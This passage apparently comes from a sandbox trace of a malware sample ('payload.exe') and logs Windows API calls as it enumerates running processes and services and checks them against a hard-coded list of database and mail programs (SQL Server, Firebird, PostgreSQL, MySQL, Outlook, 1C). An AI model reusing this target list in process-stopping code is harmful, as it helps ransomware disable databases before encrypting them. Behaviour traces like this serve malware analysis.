(lpString1="sqlwriter", lpString2="nsi") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0089.015] lstrlenW (lpString="PcaSvc") returned 6 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0089.015] lstrlenW (lpString="PlugPlay") returned 8 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0089.015] lstrlenW (lpString="Power") returned 5 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0089.015] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0089.015] lstrlenW (lpString="ProfSvc") returned 7 [0089.015] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0089.015] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0089.015] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0089.015] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0089.016] lstrlenW (lpString="RpcEptMapper") returned 12 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0089.016] lstrlenW (lpString="RpcSs") returned 5 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0089.016] lstrlenW (lpString="SamSs") returned 5 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0089.016] lstrlenW (lpString="Schedule") returned 8 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0089.016] lstrlenW (lpString="SENS") returned 4 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0089.016] lstrlenW (lpString="ShellHWDetection") returned 16 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0089.016] lstrlenW (lpString="Spooler") returned 7 [0089.016] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0089.016] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0089.016] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0089.016] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0089.016] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0089.016] lstrlenW (lpString="Themes") returned 6 [0089.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0089.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0089.017] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0089.017] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0089.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0089.017] lstrlenW (lpString="UxSms") returned 5 [0089.017] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0089.017] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0089.017] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0089.017] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0089.017] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0089.017] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4126028 | out: hHeap=0x4f0000) returned 1 [0089.017] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c [0089.018] Process32FirstW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0089.019] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0089.019] lstrlenW (lpString="System") returned 6 [0089.019] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0089.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0089.019] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0089.019] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0089.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0089.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0089.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0089.019] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0089.019] lstrlenW (lpString="smss.exe") returned 8 [0089.019] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0089.019] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0089.019] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0089.019] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0089.019] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0089.019] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0089.019] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0089.019] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.020] lstrlenW (lpString="csrss.exe") returned 9 [0089.020] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0089.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0089.020] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0089.020] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0089.020] lstrlenW (lpString="wininit.exe") returned 11 [0089.020] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0089.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0089.020] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0089.020] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0089.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0089.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0089.020] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0089.020] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0089.020] lstrlenW (lpString="csrss.exe") returned 9 [0089.020] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0089.020] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0089.020] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0089.020] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0089.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0089.021] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0089.021] lstrlenW (lpString="winlogon.exe") returned 12 [0089.021] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0089.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0089.021] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0089.021] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0089.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0089.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0089.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0089.021] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0089.021] lstrlenW (lpString="services.exe") returned 12 [0089.021] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0089.021] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0089.021] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0089.021] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0089.021] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0089.021] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0089.021] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0089.021] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0089.022] lstrlenW (lpString="lsass.exe") returned 9 [0089.022] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0089.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0089.022] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0089.022] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0089.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0089.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0089.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0089.022] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0089.022] lstrlenW (lpString="lsm.exe") returned 7 [0089.022] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0089.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0089.022] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0089.022] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0089.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0089.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0089.022] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0089.022] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.022] lstrlenW (lpString="svchost.exe") returned 11 [0089.022] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.022] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.022] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.022] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.022] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.022] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.023] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x290, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.023] lstrlenW (lpString="svchost.exe") returned 11 [0089.023] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.023] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.023] lstrlenW (lpString="svchost.exe") returned 11 [0089.023] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.023] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.023] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.024] lstrlenW (lpString="svchost.exe") returned 11 [0089.024] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0089.024] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.024] lstrlenW (lpString="svchost.exe") returned 11 [0089.024] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0089.024] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0089.024] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0089.025] lstrlenW (lpString="audiodg.exe") returned 11 [0089.025] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.025] lstrlenW (lpString="svchost.exe") returned 11 [0089.025] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x150, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.025] lstrlenW (lpString="svchost.exe") returned 11 [0089.025] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0089.026] lstrlenW (lpString="userinit.exe") returned 12 [0089.026] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x310, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0089.026] lstrlenW (lpString="dwm.exe") returned 7 [0089.026] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x448, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0089.026] lstrlenW (lpString="explorer.exe") returned 12 [0089.026] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0089.027] lstrlenW (lpString="spoolsv.exe") returned 11 [0089.027] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0089.027] lstrlenW (lpString="taskhost.exe") returned 12 [0089.027] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0089.027] lstrlenW (lpString="svchost.exe") returned 11 [0089.027] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0089.027] lstrlenW (lpString="payload.exe") returned 11 [0089.027] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0089.028] lstrlenW (lpString="reader_sl.exe") returned 13 [0089.028] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0089.028] lstrlenW (lpString="dllhost.exe") returned 11 [0089.028] Process32NextW (in: hSnapshot=0x38c, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x624, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0089.028] CloseHandle (hObject=0x38c) returned 1 [0089.028] Sleep (dwMilliseconds=0x1f4) [0089.630] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4037c60 [0089.717] EnumServicesStatusExW (in: hSCManager=0x4037c60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0089.717] GetLastError () returned 0xea [0089.717] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc9a) returned 0x4126028 [0089.717] EnumServicesStatusExW (in: hSCManager=0x4037c60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4126028, cbBufSize=0xc9a, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4126028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0089.717] CloseServiceHandle (hSCObject=0x4037c60) returned 1 [0089.718] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0089.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0089.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0089.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0089.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0089.718] lstrlenW (lpString="AudioSrv") returned 8 [0089.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0089.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0089.718] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0089.718] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0089.718] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0089.718] lstrlenW (lpString="BFE") returned 3 [0089.718] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0089.718] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0089.718] lstrcmpiW (lpString1="sqlwriter", 